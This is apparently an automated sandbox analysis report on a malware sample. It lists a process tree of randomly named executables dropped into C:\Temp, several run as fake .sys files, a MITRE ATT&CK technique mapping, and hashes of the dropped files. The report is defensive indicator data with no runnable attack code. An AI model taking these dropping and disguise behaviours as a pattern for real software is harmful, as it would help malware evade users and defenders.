      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3828,i,14429809350951920377,4259059312287331526,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=5400 /prefetch:14
      4⤵
      PID:5024

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4668

C:\Temp\jdbwtomgeywrojgb.sys
C:\Temp\jdbwtomgeywrojgb.sys
1⤵
- Executes dropped EXE
PID:2212

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3336

C:\Temp\qomgeywqoj.sys
C:\Temp\qomgeywqoj.sys
1⤵
- Executes dropped EXE
PID:1136

C:\Temp\lfdbvtnlgd.sys
C:\Temp\lfdbvtnlgd.sys
1⤵
- Executes dropped EXE
PID:6056

C:\Temp\tqkidavtnl.sys
C:\Temp\tqkidavtnl.sys
1⤵
- Executes dropped EXE
PID:4388

C:\Temp\icavsnkfdx.sys
C:\Temp\icavsnkfdx.sys
1⤵
- Executes dropped EXE
PID:2936

C:\Temp\auspkicaus.sys
C:\Temp\auspkicaus.sys
1⤵
- Executes dropped EXE
PID:2724

C:\Temp\upmkeczxrp.sys
C:\Temp\upmkeczxrp.sys
1⤵
- Executes dropped EXE
PID:3336

C:\Temp\wuomhezwrp.sys
C:\Temp\wuomhezwrp.sys
1⤵
- Executes dropped EXE
PID:3096

C:\Temp\mjebwuomjh.sys
C:\Temp\mjebwuomjh.sys
1⤵
- Executes dropped EXE
PID:5688

C:\Temp\ojgbztrljg.sys
C:\Temp\ojgbztrljg.sys
1⤵
- Executes dropped EXE
PID:1056

C:\Temp\ytqljgbywq.sys
C:\Temp\ytqljgbywq.sys
1⤵
- Executes dropped EXE
PID:3368

C:\Temp\igdyvqoiga.sys
C:\Temp\igdyvqoiga.sys
1⤵
PID:2408

C:\Temp\fdxvpnhfax.sys
C:\Temp\fdxvpnhfax.sys
1⤵
PID:4560

C:\Temp\xsqkicausn.sys
C:\Temp\xsqkicausn.sys
1⤵
PID:5772

C:\Temp\pkhcausmkh.sys
C:\Temp\pkhcausmkh.sys
1⤵
PID:3504

C:\Temp\jhfzxrpmke.sys
C:\Temp\jhfzxrpmke.sys
1⤵
PID:3276

C:\Temp\ebwromgbzt.sys
C:\Temp\ebwromgbzt.sys
1⤵
PID:2480

C:\Temp\ztrljhbzwu.sys
C:\Temp\ztrljhbzwu.sys
1⤵
PID:5684

C:\Temp\ywqoigaytq.sys
C:\Temp\ywqoigaytq.sys
1⤵
PID:5320

C:\Temp\vtnlfdyvqo.sys
C:\Temp\vtnlfdyvqo.sys
1⤵
PID:1336

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

auspkicaus.sys

Path C:\Temp\auspkicaus.sys
Size 293KB
SHA256 ca202681b86c436989e7ab848a5f588fd5ed365568d431e9fcff26ada53e8205
MD5 7848412e0e467dec9c4108bb1bfa2b22
SHA1 d9b16e8e2e15885499ddd7f253aac576879765e1
SHA512 05dd72c6679a3a7d58d9a30bfbe787d266c8464cba4de92222a0da92d2c9c54089b17cd168d7be9b49e2d9f54573a9054e6bd6218cc736c66efd0ccd85bc4916
SSDEEP 3072:ltKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:lIJjiJcbI03GBc3ucY5DCSj
TLSH
T1E3545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gayvtnlida.exe

Path C:\Temp\gayvtnlida.exe
Size 376KB
SHA256 b8ef68244794433324df8011cfbf2ab797143871d927892cf4bb23a2a67b6ebb
MD5 ab162878e7e093405f211f5c4f9f9e3c
SHA1 8108596205c724f6ba4fe9f462bb6b17145761e7
SHA512 15219469fba1a5f0a5485f5fe569347c25416b1627434da68cd7e573669c1e8fe6214ecf82c195b03d1360a643aad3dbe8de692ab2585d3caf2842539706be10
SSDEEP 3072:8jyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:yyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T127847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gaywqoigay.exe

Path C:\Temp\gaywqoigay.exe
Size 376KB
SHA256 4ef903d7092a17e1cd9b56408eedee4703bf7151e6fb75019b5e3cc4e501f3f3
MD5 921fedc21941a0cafc81b2c1d210f856
SHA1 329d98ed144fe6a55ad9bc9ceff70b55ee662cca
SHA512 76e8cde66f4fd911d370ba23e51ec49250b446a50c08068557c23e51ab0a55d4da3a467734145d8c2810e13f3cca9507f25a0f4335240a6cc2c3033ae9556e25
SSDEEP 3072:fjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:7yLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T1C6847C04BAA4F0F6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3469F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_gayvtnlida.exe

Path C:\Temp\i_gayvtnlida.exe
Size 376KB
SHA256 44ee6755d1d4c19db4aef409b7e5e60036aa16c24b14d0bf792b54c0d69208ba
MD5 8c3caa22c8fc0a1379a49fb7aef406f6
SHA1 934ae0dc5201d28fdf7496c89fbef288d88d7475
SHA512 b26d7602b348f3bf09b6e19db73b18fe2a9d5130f764e2f280eac58192b26d1e2d89c99a0d6d4a1c075635704d2e9df13ad40df7fbe2186ac16e4eaca2f2af4b
SSDEEP 3072:njyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:jyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T12C847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3469F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_gaywqoigay.exe

Path C:\Temp\i_gaywqoigay.exe
Size 376KB
SHA256 894a14371c6a6bd256d4c0692e32d96eebe1bb046c284e166d808599d0bbd887
MD5 e393eb21b0625dd484b5f0e2c60f177c
SHA1 aea30ed9eabbd4ce1cd17ed05be58263753582ea
SHA512 645dd6e0078b1c43ea12c12a57087aac28543acf0af7759c9f0c5eca708a62f0a8d2dd39010115b158227a3c710ce7dd245a31353bb12b4bdbce67e4a96b2b76
SSDEEP 3072:ajyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:UyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T1B7847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_jdbwtrljge.exe

Path C:\Temp\i_jdbwtrljge.exe
Size 376KB
SHA256 89b82ffcdd71c8aec4db7cec6849539959a697d1fbb907059975ecf61d93c93e
MD5 b8f09f3087b0c1ddebbe5e41c51a5951
SHA1 44b96090a47b12bef5123c49e50228fea1321bcc
SHA512 9323a04ae41f9df0175fb0cf762c912bfdb554472a0106ee0f90170f14e3452dfba400261cd88dc9e185f5ea6dd53a3e2aa84d17fa275f174652473c8654c976
SSDEEP 3072:jjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:HyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T104847C04BAA4F0F6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3469F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qkicavsnlf.exe

Path C:\Temp\i_qkicavsnlf.exe
Size 376KB
SHA256 5d04bfc2c8ca6e8bb0d24595ab36930e4f13e9aadfb6b2c7de613a4fb0e00d6b
MD5 b5843318ae83e7278ce654e340157553
SHA1 22f2adf5563dbd0696c6b640336d66289a509580
SHA512 fd6674e017c3877b371f27d227635cbffccebf99192b31b09ea180ac95b7e49297e178ad77a6ec1c257d007a58abb547a0c589b0d723b304e994982bea722a78
SSDEEP 3072:wjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:eyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T16F847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3469F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_usmkicausq.exe

Path C:\Temp\i_usmkicausq.exe
Size 376KB
SHA256 aebfadca53c338edebd77e82632462842138a69101dd20c642daa8ec69ad7a3c
MD5 fc5295a28f9302439851cd7ce86e80e8
SHA1 bec85d9b12574d8cc6af0d8f844b9dc6e15aa547
SHA512 0ff4405749732f26d4101f4436ae909a87738a0c2edce9fc9f0d69953c6bb1ce21bcdf0b67d876370b933f9fb3dd3f8d048c97a4320d0bc89d59e5c9c492c328
SSDEEP 3072:2jyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:oyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T134847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

icavsnkfdx.sys

Path C:\Temp\icavsnkfdx.sys
Size 293KB
SHA256 efbcb5c0b5f714568020383ec699dacad990d03566bcb59b7ed37766a930b631
MD5 de8b0996bfab3739f0b787465bbd04be
SHA1 5d9d3968ffe7215933e224fecc9322eb2d3fae49
SHA512 89123a7351acc4e573fcc7c6975aee65cfcf739488960c7355776de70523524697fb5fb29f3ee2a2db2d090a01f1249a7467e2cf21e592cd6844f616144bb1fd
SSDEEP 3072:BtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:BIJjiJcbI03GBc3ucY5DCSj
TLSH
T19A545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jdbwtomgeywrojgb.exe

Path C:\Temp\jdbwtomgeywrojgb.exe
Size 376KB
SHA256 b6584e0a3512323d4f09d67984688c5a83fed162732194e0c78af293d973ea35
MD5 c8cb422a1baa48268209e6f2079d1a30
SHA1 9bf149c283ab70cb70f784aca0cfa48d1ef9549d
SHA512 6172df158e016951f8f119b7f5042ccfecba0b280544d45f0cce3199abd248da6e04647834db3e44f0f839b6278ac501108541a4a57cbd1f36180bbb0a9ead24
SSDEEP 3072:pjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:JyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T180847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jdbwtomgeywrojgb.sys

Path C:\Temp\jdbwtomgeywrojgb.sys
Size 293KB
SHA256 f699e6ca7581d8e3df721b3d3a8587a9dee5c1706bae4f3056bfce1728995bc9
MD5 986e7c9f86da49a3f9f1b846a31b9251
SHA1 1d486d0c7a515e1987f23350349c0bf4780f9e5a
SHA512 4c02c964003a7c62e2a18e5bb1d7815a87d0a24fe3513e912374d41ec29a1eb6ddc5ab8c826d09c7bc3551a44a82c5d24130fd899ffa2833629bb63d32991ade
SSDEEP 3072:OtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:OIJjiJcbI03GBc3ucY5DCSj
TLSH
T1E6545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jdbwtrljge.exe

Path C:\Temp\jdbwtrljge.exe
Size 376KB
SHA256 afe11d4bbf6da6ba6085beac4d2366b1c88db65745f72e9eeb09d01399b213be
MD5 f592dcd13446fd4001857f00fe1f1f15
SHA1 08077cb48ba2f814bdfba6502330b9800a2f4794
SHA512 961c396d08bd58d4b9edb7bc240bf079bf9b548e838129fee39173d8ef6a6bcd5cd5c6879ef0537ab3bcd84961e45b9a5ad4bd8a4a32a251f71c5ceb418dbd44
SSDEEP 3072:gjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:uyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T192847C04BAA4F0F6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3469F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lfdbvtnlgd.sys

Path C:\Temp\lfdbvtnlgd.sys
Size 293KB
SHA256 87d74bb6b54ba452189679bdd2576a0fb3235f548ed2c5ad7a8c6002ebc8caf4
MD5 64080b74d3f3b3b2b38f3ab62d935826
SHA1 490341472fbd99889028cd368fe42f6d074090c6
SHA512 3e5fa4d7ce24961dde8a4c763e3ba6b593e28890f692f96e2a96f67b581f75e58c9ee0d3f0f07f3126ceb213c0c6cef766e17d46407b9122d0d9725db208870b
SSDEEP 3072:KtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:KIJjiJcbI03GBc3ucY5DCSj
TLSH
T12B545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qkicavsnlf.exe

Path C:\Temp\qkicavsnlf.exe
Size 376KB
SHA256 9ea81ecb28547565d4b15ed39a548b5e1b1c313ff8c1e203d27b9c56d23b7b99
MD5 c073d312b63fb1b21bf3cad341ff1da2
SHA1 61b32b6193f1bee9628e852cb580b0a5513037a6
SHA512 5770338dea504140e9b1e4ad853ef1b6eceeca502ed9261e3a6c75a35feea8df35d85c0e0f0d0a44ffa94fb238435334df6ade9e2bc5dfc17f73c0f1f920f967
SSDEEP 3072:GjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:YyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T1ED847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qomgeywqoj.sys

Path C:\Temp\qomgeywqoj.sys
Size 293KB
SHA256 bac3b5ffd6a8a51fffbb0fbde3786af5631dc9f11fe866b2bfd9aedc5ac8a4d2
MD5 c00a7aecac8c50c79df85c6fb3b8ade6
SHA1 1ce8ad567072239bc7eba72cc7adc73234835e5f
SHA512 a56d92a64553da411ed40421c21cea3ee94adb1e602d14f0c5e8aed5c4f051d3ba17a084203fa3e78a79762b56d693c2ffaebb83bb9f105f9888c5649fe2119e
SSDEEP 3072:xtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:xIJjiJcbI03GBc3ucY5DCSj
TLSH
T17C545B44AAA4B0F6D9D5043C00EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

smkfcwupmh.exe

Path C:\Temp\smkfcwupmh.exe
Size 376KB
SHA256 2d73634daa5b96c4d9a05d3850d6e0646ad51b184b908537df64180d6c0ef380
MD5 2c85ed3272e85ffe4356ddbed7cf26d1
SHA1 c0864d5291aad8a5028253a8ae3b65dabe4be678
SHA512 53d5e4c6ccdf20d53521f5ca0dbb644df238113072b167eff72c9641faffb3f2a13fcd1094f038522ab5a2560c978e1aeef823efbe2c7aa875f817b596dbffeb
SSDEEP 3072:rjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:PyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T10D847C04BAA4F0F6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3469F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tqkidavtnl.sys

Path C:\Temp\tqkidavtnl.sys
Size 293KB
SHA256 3c1717a68f0a500fd2447fc321abec9aee0b48904a9c61a09e9647824f979ade
MD5 c25d11e806242287047311203dbc788b
SHA1 70412fad8f5c05362bb54fd2037cc0d9450a1924
SHA512 705d3944991dca74bb6e8e9446db73065f0807ff63355ac9cdaf604eb68a9184165000f33a04bb15bf40ada2c2705c9e89390034f6c1f35fb1dfb11f1d32ba00
SSDEEP 3072:AtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:AIJjiJcbI03GBc3ucY5DCSj
TLSH
T164545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

usmkicausq.exe

Path C:\Temp\usmkicausq.exe
Size 376KB
SHA256 3b92b47ec6e706e52c3e1f5cbe1c6d3424c1c13fe4d19bb48b4053a5c54cc5eb
MD5 8b8308a269665db003162d0039758b9c
SHA1 ee191e04a293fc73d1e35f340253b85643bae8a3
SHA512 a0210942c64d59c04af897961791a5de9c769912dfef697478ef54e9bea37bd5538aca22b1cbb9cff7b341ef66802f40aa743debd78ca2322a8a43d27741bb84
SSDEEP 3072:wjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:eyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T17A847C04BAA4F0F6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3469F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5c28e8a4-5e1d-4213-a36f-2bbc987f6ebf.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\5c28e8a4-5e1d-4213-a36f-2bbc987f6ebf.tmp
Size 38KB
SHA256 dd3fffe849a0f9c1183b0a91a1ca8a4fa8711b59540bcdda3a387b8f0320bf18
MD5 4544bea3b6777345eaa383154945b57f
SHA1 991654796c78dc9f49bd3306600eeb21e85875f1
SHA512 ddabfb3f04d8336d3f8a1190ad1e0e6f40f33f631e8cd9274c890366df66ea2df88c00b78c14e60a919f63964d9865cbff0e3229028ce66527b323c6e7da2ebb
SSDEEP 768:O/UxvxjgC+Ft3hW+USFaj5HtixvnqMwQi5BgK5/CwYcElA8Dea:DZj3+Ft3h/givVmBg8/dgA8Sa
TLSH
T1B403D136ECB59D778CF99150768B63CBEFF421A3C481089889EE5E0E0687A9D170BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a23025f4d05b749cd64019222483e40f71e2bd4380052e2b64a234eb0323dd12
MD5 f2999f57642ce17248d9900b8034961f
SHA1 5a92b97bdc3c0e5222e917e766218a9ee7568f1f
SHA512 001c4dde433f6d4b3121bd2e5736ab1443818c9c8ef22f8298c411039f23f15532e8510ef806e0f54b26c4ef31db9b77ed6c750a42b27167e98f8b691edafe8f
TLSH
T1F4D02BB1E0ED8473C050307C000681815205F8426AC555801F25D07C091014C234B108
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ae4519203ea4a71f8bb5a86dffca3b288f02f1bf4cb8d6f78e8a591b676414b1
MD5 1293a304484c7d4be275f1eb20c69a28
SHA1 b568174debe43e00bc9d8880e0c5166dc6720312
SHA512 ffd84ca0277d7fb25239662676bdc1988ee3267dfd6a7a17da4c4ab32edd7fa146f36c8d8b2c5f1b06efedf5cf636eaa55943e5f89902c62e6a914ebbc3ae1b7
TLSH
T143D02BB1E0DD8473C0503078000581815215F842BEC555801F25D07C091014C234B10C
MD5 SHA1 SHA512 TLSH

Submit Download

0fe8be3a-748f-4d47-8665-fc487b373854.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\0fe8be3a-748f-4d47-8665-fc487b373854.tmp
Size 11KB
SHA256 ef3a3d2c7cb5f7848ccafdd43ed60c25b95f1c0c81a1da9e256f13f1121a6f2f
MD5 17e3a88a7d5add9fed03dbaa71da2c8f
SHA1 75e2120a2cb4cbbdaaeae2343baf819a188c286c
SHA512 2c0b31903df9d37ab86c870d0abf577133f28c5215fa1a379bd11823135cda7910fe1cd0a02f8f46ae8143f294f1f201ba88f196a5e5d596be64f693bc0887a6
SSDEEP 192:sxRjRCCF/fqsz9fZk//IzoA8p9W/g6+WNCHr/YlacLRGKIgVhJ:sxRjPF/fqsz9Bk//R8/56/Kd
TLSH
T1F732B715AD68A97B8CCBE61DBF557F13E6F91032A0911F88AAFC861C04E76DD121780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4e2151c7-bd43-493c-a97e-9c59bb8145f2.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\4e2151c7-bd43-493c-a97e-9c59bb8145f2.tmp
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 c59760de27f449d70f92c98b4f00632bb70b2c78631d47ef4803e91a45fd334d
MD5 38ec3befe7e00a28d051e11edbdb99ae
SHA1 bdd5039afd09b3f2e034d4c3a01ff78026817d41
SHA512 b5e79cbb6c76c3d5940c4ef39242f977611649bdc818e29a878bd2f92626778382c55a92c8c7cbe74d97432426ddc647407a83633eb984446fc8b3023eb10475
TLSH
T1F3E0269547CAC36EF388744B466A970CC2A13B1FA2CC6E2E1B24CCC97042845A6826D0
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 3e2aaa081d3cdb7c1879e2f7f64606e274c2d36a3c80cd04fd8e13ae55374681
MD5 7860de70fa788304943114657f51345d
SHA1 c53ad84a3d166189bb68b1dc93884c0e4c6088bc
SHA512 4c5db5a6d1690b23ca61ec4b56fcfb5d6600e17e48979193ed6e4a8a1cab08af934c98d4d9b81c8f30bde6a3928f10878d5eb2ce72aad9dc1e28fea101b2d480
TLSH
T1F9511C84879046BFFB68607DC2C5078B39384FC159833EF2059DE7BA89AE7ED3154048
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 fb804d50dd2a7620c64abe8f6137c4cb25f2e6c14785cbd69d04e87bf1099908
MD5 f330bc7c74d54bf405c5123c1620bbff
SHA1 d2752198c3b362c90ee7c38aed08c797792ace78
SHA512 7c0bddc5416a0c0777f2185660cd06ed6fadd9e8a89338f8c0da6de1c01b80f4dba13bf84d12e78f0c92241a473c8abfe06c721b2bd203b30b573747ec2f1185
TLSH
T12851EB8487A046BFFB68647DC2C5068B39354BC259873EF2059DE7BA899E7ED3154048
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

1518b03a-54df-4e96-be81-e0bbc2c2a907.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\1518b03a-54df-4e96-be81-e0bbc2c2a907.tmp
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 5aac5b0c5ed8d46934adeef8b8c1ab1095675cbbfab35c706a05496503f8ab86
MD5 77980f0e3592dc37331c742554649ddd
SHA1 f070c58f3b5c604169d959e54ee3f3b0bf0f6e52
SHA512 9662cc764205e3885afebca293780dc5c77c19d7ed89d395a96a64e6c975f7e510f8d1d4baacd38b6cc8e53b5e784c02759408738aac602af52f54e30498fc4f
TLSH
T14051AFF3C7E8966E890156F0AB187E1BCE1D0A15832C3D5AC8E4AF1B93E2471D14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 29faa64c0a028408018cf81db8d8de9f8084e22b6142c160fd281c074a6f32e9
MD5 52d86cccc1011d2a7bc07ffd46b7dc71
SHA1 9b4b912ba30b1f37806cc05c191d5fe932c48ff2
SHA512 9ba2506ed3c3924696df516b68dff09e1785bbb3d0419986ac79ca3ccaa84891bef6745e77d92867a117a5df19f94e84c1130e41e93f793ce48db37da92f3e5e
SSDEEP 192:sxRYRCCF/fqsw9fZk//IzoA8p9W/g6+WNCHr/YlacLRGKIgDJhJ:sxRYPF/fqsw9Bk//R8/56/KV
TLSH
T1D242B715AD68A97B4CCBE61DBF55BF13E6F91032A0911E88AAFC861C04E76DD121780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 272e5a70b28f668bed3fa2b5ef96319d2ac954a467e698eec7866f54ccbc4b15
MD5 c9fe1439de66843f3f8d629782753f05
SHA1 66d265baa322780d2035c82bf98ef485f3aef847
SHA512 a26fd48220e30ec74d5de89cb96741b7a0f2f4e87cdd7dc564573e9174388d00104838cedfdc1a760146707f528d541217e760be239abfe468b02bb4e4ad5b83
SSDEEP 192:sxRYRCCF/fqswSfZk//IzoA8p9W/g6+WNCHr/YlacXaRGKIgDjhJ:sxRYPF/fqswSBk//R8/56/mC7
TLSH
T1B842B815ED68A97B4CCBE61DBB557F13E6F91032A0911F88AAFC861C04E76DD121780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 0d4f625ec3cbce01fb27562152b9200b0206f1464c86a4e253a02c746d5d8fd4
MD5 aeb300a47a9af237226f130d77b6b70c
SHA1 2001dbf33c2a3fd4aa35092742a3ab081c7a3bf3
SHA512 44044ec3543f8a23f3028f631d6e899bf515a2d627ed5280997262767f7cd96f240d54b735a2d9d4b04a08c4f7b75cd959ab33ed24d6bf8a354e740dee3ba1d5
SSDEEP 768:ksRdWG7pLuLb0JWgSwffT8F1+UoAYDCx9Tuqh0VfUC9xbog/OVqL+2+gGroe2ud9:ksRdWmEb0JWgSwffTu1jahL+rg9e2BHA
TLSH
T181D2D97B640CCB7F4F804ADD9C197A9F6DAC02CB9698CD8047FE941D02C6BEA511A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

